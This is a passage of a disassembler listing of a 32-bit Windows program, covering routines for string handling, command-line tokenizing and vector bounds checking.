esi, ecx jz short loc_409B36 push edi call near ptr 28218EFh nop mov edi, dword_5118CC push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409B36: ; CODE XREF: sub_409B00+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409B00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B70 proc near ; CODE XREF: sub_401CEEj mov al, byte_44915A push esi test al, al mov esi, ecx jz short loc_409B8F nop call near ptr 2830000h mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409B8F: ; CODE XREF: sub_409B70+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409B70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409BB0 proc near ; CODE XREF: sub_40142Ej mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_43F010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409BB0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409BE0: ; CODE XREF: ___:00402081j ; ___:loc_40218Fj push esi mov esi, ecx call sub_401226 test byte ptr [esp+8], 1 jz short loc_409BF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409BF8: ; CODE XREF: ___:00409BEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C10 proc near ; CODE XREF: sub_401870j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C10 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C50 proc near ; CODE XREF: sub_4014D3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_43F010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401FDC mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_409C50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C90 proc near ; CODE XREF: sub_402112j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push offset dword_4447F4 push ecx mov dword ptr [esi], offset off_43F010 call near ptr byte_5F285B nop add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_4015E1 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409C90 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D00 proc near ; CODE XREF: sub_401226j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_43F010 cmp eax, edi jz short loc_409D1C push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D1C: ; CODE XREF: sub_409D00+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_409D2F push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D2F: ; CODE XREF: sub_409D00+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409D00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409D50 proc near ; CODE XREF: sub_4015E1j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_409DBA or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_409D7A push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409D7A: ; CODE XREF: sub_409D50+1Fj lea ebx, [ebp+2] push ebx call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch dd 51500956h, 0D9E89052h, 837783DCh db 0C4h, 0Ch ; --------------------------------------------------------------------------- loc_409DBA: ; CODE XREF: sub_409D50+Cj pop edi pop esi pop ebp pop ebx retn 4 sub_409D50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409DF0 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_409DF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409E20: ; CODE XREF: ___:00401A5Aj mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push offset dword_4447F4 push ecx nop call near ptr byte_5F285B add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_4015E1 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409E70 proc near ; CODE XREF: sub_401AAFj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409F02 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409F02 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_409EFF push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_409EFF: ; CODE XREF: sub_409E70+84j mov [ebx+9], ebp loc_409F02: ; CODE XREF: sub_409E70+Cj ; sub_409E70+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409E70 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F40 proc near ; CODE XREF: sub_4016C7j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_401AAF pop esi retn 4 sub_409F40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409F70 proc near ; CODE XREF: sub_401140j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push offset dword_4447F4 push ecx call near ptr byte_5F285B nop add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_401AAF pop esi add esp, 10h retn 4 sub_409F70 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409FC0 proc near ; CODE XREF: sub_4012EEj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409FD7 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409FD7: ; CODE XREF: sub_409FC0+7j mov eax, [ecx+9] push ebx loc_409FDB: ; CODE XREF: sub_409FC0+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_40A006 test cl, cl jz short loc_409FFF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_40A006 add eax, 2 add esi, 2 test cl, cl jnz short loc_409FDB loc_409FFF: ; CODE XREF: sub_409FC0+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A006: ; CODE XREF: sub_409FC0+23j ; sub_409FC0+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409FC0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A030 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A030 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A060 proc near ; CODE XREF: sub_40150Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_40A073 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_40A073: ; CODE XREF: sub_40A060+6j push eax mov eax, [ecx+9] push eax nop call near ptr 77C4624Eh add esp, 8 retn 4 sub_40A060 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0A0 proc near ; CODE XREF: sub_4021D0j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4012EE pop esi retn 4 sub_40A0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A0D0 proc near ; CODE XREF: sub_401CD0j push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_40A0E3 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A0E3: ; CODE XREF: sub_40A0D0+8j mov dword ptr [esi+9], 0 pop esi retn sub_40A0D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A100 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov eax, [esp+arg_2004] test eax, eax jz short loc_40A142 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_4015E1 loc_40A142: ; CODE XREF: sub_40A100+13j add esp, 2000h retn sub_40A100 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A170 proc near ; CODE XREF: sub_401D34j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401316 retn 4 sub_40A170 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A190 proc near ; CODE XREF: sub_401316j arg_0 = byte ptr 4 push ebx mov ebx, dword_511AEC push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx add esp, 8 test eax, eax jnz short loc_40A1B4 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A1B4: ; CODE XREF: sub_40A190+1Cj mov ecx, [esi+9] push edi push ecx call ebx mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A190 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A1E0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401816 retn 4 sub_40A1E0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A200 proc near ; CODE XREF: sub_401816j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401389 push eax mov ecx, esi call sub_402135 pop esi retn 8 sub_40A200 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A230 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402135 retn 4 sub_40A230 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A250 proc near ; CODE XREF: sub_402135j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_40A265 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A265: ; CODE XREF: sub_40A250+Bj mov eax, [esi+9] mov ebx, dword_511B04 push edi push eax call ebx add esp, 8 test eax, eax jnz short loc_40A27F pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40A27F: ; CODE XREF: sub_40A250+27j mov ecx, [esi+9] push edi push ecx call ebx mov edi, [esi+9] add esp, 8 mov edx, 1 sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_40A250 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A2C0 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx test edi, edi jnz short loc_40A2D3 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_40A2D3: ; CODE XREF: sub_40A2C0+Aj mov eax, [esi+9] mov [esi+11h], edi test eax, eax jz short loc_40A2E6 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40A2E6: ; CODE XREF: sub_40A2C0+1Bj push ebx lea ebx, [edi+1] push ebx call sub_437AEA sub_40A2C0 endp ; --------------------------------------------------------------------------- mov ecx, ebx mov edi, eax mov edx, ecx xor eax, eax shr ecx, 2 mov [esi+9], edi add esp, 4 rep stosd mov ecx, edx pop ebx and ecx, 3 rep stosb mov eax, [esi+9] pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A340 proc near ; CODE XREF: sub_4013E3j mov eax, [ecx+11h] retn sub_40A340 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A360 proc near ; CODE XREF: sub_4012B2j var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebp mov ebp, [esp+30h+arg_8] push esi xor esi, esi cmp ebp, 1 mov [esp+34h+var_2C], ecx mov [esp+34h+var_28], esi jge short loc_40A3B2 mov esi, [esp+34h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 mov eax, esi pop esi pop ebp mov ecx, [esp+2Ch+var_C] mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- loc_40A3B2: ; CODE XREF: sub_40A360+2Bj push ebx push edi lea ecx, [esp+3Ch+var_24] call sub_40142E mov [esp+3Ch+var_4], esi lea esi, [ebp+1] push esi call sub_437AEA sub_40A360 endp ; --------------------------------------------------------------------------- mov ecx, esi mov ebx, eax mov edx, ecx xor eax, eax mov edi, ebx add esp, 4 shr ecx, 2 rep stosd mov ecx, edx mov edx, [esp+44h] and ecx, 3 push ebx rep stosb mov eax, [esp+14h] mov ecx, ebp mov edi, ebx mov esi, [eax+9] add esi, edx mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+1Ch] call sub_4015E1 push ebx call sub_437AD2 ; --------------------------------------------------------------------------- mov esi, [esp+44h] add esp, 4 lea eax, [esp+18h] mov ecx, esi push eax call sub_4014D3 lea ecx, [esp+18h] call sub_401226 mov ecx, [esp+30h] pop edi mov eax, esi pop ebx pop esi pop ebp mov large fs:0, ecx add esp, 2Ch retn 0Ch ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A490 proc near ; CODE XREF: sub_401E47j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi push edi mov esi, ecx mov [esp+0Ch+var_4], 0 call sub_4013E3 mov ecx, [esp+0Ch+arg_4] mov edi, [esp+0Ch+arg_0] sub eax, ecx push eax push ecx push edi mov ecx, esi call sub_4012B2 mov eax, edi pop edi pop esi pop ecx retn 8 sub_40A490 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A4D0: ; CODE XREF: ___:0040194Cj push ecx push esi mov esi, [esp+0Ch] push 1 mov ecx, esi mov dword ptr [esp+8], 0 call sub_402112 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A500 proc near ; CODE XREF: sub_4011EAj var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40A500 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi mov edi, [esp+44h+arg_8] mov esi, ecx test edi, edi mov [esp+44h+var_38], 0 jnz short loc_40A541 mov esi, [esp+44h+arg_0] push offset byte_448F30 mov ecx, esi call sub_401870 jmp loc_40A674 ; --------------------------------------------------------------------------- loc_40A541: ; CODE XREF: sub_40A500+2Aj lea eax, [esp+44h+arg_8] lea ecx, [esp+44h+var_34] push eax call sub_40169A mov ecx, [esi+9] mov [esp+44h+var_4], 1 push ecx lea ecx, [esp+48h+var_24] call sub_401870 lea ecx, [esp+44h+var_24] mov byte ptr [esp+44h+var_4], 2 call sub_4014DD mov [esp+44h+var_3C], eax mov cl, [eax] test cl, cl jz loc_40A625 push ebx loc_40A581: ; CODE XREF: sub_40A500+11Ej mov dl, [edi] cmp cl, dl jnz short loc_40A590 loc_40A587: ; CODE XREF: sub_40A500+8Ej inc eax mov [esp+48h+var_3C], eax cmp [eax], dl jz short loc_40A587 loc_40A590: ; CODE XREF: sub_40A500+85j cmp byte ptr [eax], 22h setz bl test bl, bl jz short loc_40A59F inc eax mov [esp+48h+var_3C], eax loc_40A59F: ; CODE XREF: sub_40A500+98j lea edx, [esp+48h+var_3C] lea ecx, [esp+48h+var_34] push edx call sub_401997 mov eax, [esp+48h+var_3C] test bl, bl mov cl, [eax] jz short loc_40A5EF test cl, cl jz short loc_40A5D7 loc_40A5BB: ; CODE XREF: sub_40A500+D5j cmp cl, 22h jnz short loc_40A5CC mov cl, [eax+1] cmp cl, 20h jz short loc_40A5D7 test cl, cl jz short loc_40A5D7 loc_40A5CC: ; CODE XREF: sub_40A500+BEj inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A5BB loc_40A5D7: ; CODE XREF: sub_40A500+B9j ; sub_40A500+C6j ... cmp byte ptr [eax], 0 jz short loc_40A61A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] mov cl, [eax+1] test cl, cl jz short loc_40A61A add eax, 2 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A5EF: ; CODE XREF: sub_40A500+B5j test cl, cl jz short loc_40A604 mov dl, [edi] loc_40A5F5: ; CODE XREF: sub_40A500+102j cmp cl, dl jz short loc_40A604 inc eax mov [esp+48h+var_3C], eax mov cl, [eax] test cl, cl jnz short loc_40A5F5 loc_40A604: ; CODE XREF: sub_40A500+F1j ; sub_40A500+F7j mov cl, [eax] test cl, cl jz short loc_40A61A cmp cl, [edi] jnz short loc_40A61A mov byte ptr [eax], 0 mov eax, [esp+48h+var_3C] inc eax loc_40A616: ; CODE XREF: sub_40A500+EDj mov [esp+48h+var_3C], eax loc_40A61A: ; CODE XREF: sub_40A500+DAj ; sub_40A500+E8j ... mov cl, [eax] test cl, cl jnz loc_40A581 pop ebx loc_40A625: ; CODE XREF: sub_40A500+7Aj lea ecx, [esp+44h+var_34] call sub_4011F9 mov ecx, [esp+44h+arg_4] cmp ecx, eax jb short loc_40A63D push offset byte_448F30 jmp short loc_40A64A ; --------------------------------------------------------------------------- loc_40A63D: ; CODE XREF: sub_40A500+134j push ecx lea ecx, [esp+48h+var_34] call sub_401F82 mov eax, [eax] push eax loc_40A64A: ; CODE XREF: sub_40A500+13Bj mov esi, [esp+48h+arg_0] mov ecx, esi call sub_401870 lea ecx, [esp+44h+var_24] mov [esp+44h+var_38], 1 call sub_401226 lea ecx, [esp+44h+var_34] mov byte ptr [esp+44h+var_4], 0 call sub_401596 ; --------------------------------------------------------------------------- loc_40A674: ; CODE XREF: sub_40A500+3Cj mov ecx, [esp+44h+var_C] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_40A500 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A700 proc near ; CODE XREF: sub_4016B8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov eax, [esp+4+arg_8] mov edx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push 0 push eax push edx push esi mov [esp+18h+var_4], 0 call sub_4011EA mov eax, esi pop esi pop ecx retn 0Ch sub_40A700 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A740 proc near ; CODE XREF: sub_40202Cj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401389 push eax mov ecx, esi call sub_4015E1 pop esi retn 4 sub_40A740 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A770 proc near ; CODE XREF: sub_401A9Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015E1 retn 4 sub_40A770 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A790 proc near ; CODE XREF: sub_401479j arg_0 = dword ptr 4 mov eax, [ecx+9] mov ecx, [esp+arg_0] add eax, ecx retn 4 sub_40A790 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40A7B0: ; CODE XREF: ___:004014A6j mov eax, [ecx+9] mov ecx, [esp+4] add eax, ecx retn 4 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7D0 proc near ; CODE XREF: sub_401389j mov eax, [ecx+9] retn sub_40A7D0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A7F0 proc near ; CODE XREF: sub_4017EEj mov eax, [ecx+9] retn sub_40A7F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A810 proc near ; CODE XREF: sub_4014DDj mov eax, [ecx+9] retn sub_40A810 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A830 proc near ; CODE XREF: sub_40169Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_40A830 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40A860 proc near ; CODE XREF: sub_401596j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019B5 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF sub_40A860 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- byte_40A893 db 0Dh dup(90h) ; DATA XREF: ___:00446534o ; ___:00446578o ... db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8B0 proc near ; CODE XREF: sub_4011F9j mov edx, [ecx+4] test edx, edx jnz short loc_40A8BA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40A8BA: ; CODE XREF: sub_40A8B0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_40A8B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A8E0 proc near ; CODE XREF: sub_401F82j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_4011F9 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_40A8F8 mov ecx, esi call sub_401F05 loc_40A8F8: ; CODE XREF: sub_40A8E0+Fj mov ecx, esi call sub_401D2F lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_40A8E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A920 proc near ; CODE XREF: sub_401997j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401659 push eax mov ecx, esi call sub_4016F9 pop esi retn 4 sub_40A920 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A950 proc near ; CODE XREF: sub_401D2Fj mov eax, [ecx+4] retn sub_40A950 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A970 proc near ; CODE XREF: sub_401659j mov eax, [ecx+8] retn sub_40A970 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A990 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401D2F mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_4013D9 mov ecx, edi call sub_401D2F lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_40A990 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40A9E0 proc near ; CODE XREF: sub_4019B5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_40AA00 loc_40A9F1: ; CODE XREF: sub_40A9E0+1Ej push esi mov ecx, edi call sub_4018C0 add esi, 4 cmp esi, ebx jnz short loc_40A9F1 loc_40AA00: ; CODE XREF: sub_40A9E0+Fj pop edi pop esi pop ebx retn 8 sub_40A9E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AA20: ; CODE XREF: sub_401F05j push 0FFFFFFFFh push offset loc_439DB9 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] nop call near ptr 760A0430h lea edx, [esp+14h] push offset dword_440088 push edx call sub_437B22 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AAA0 proc near ; CODE XREF: sub_4011EFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40AAA0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h 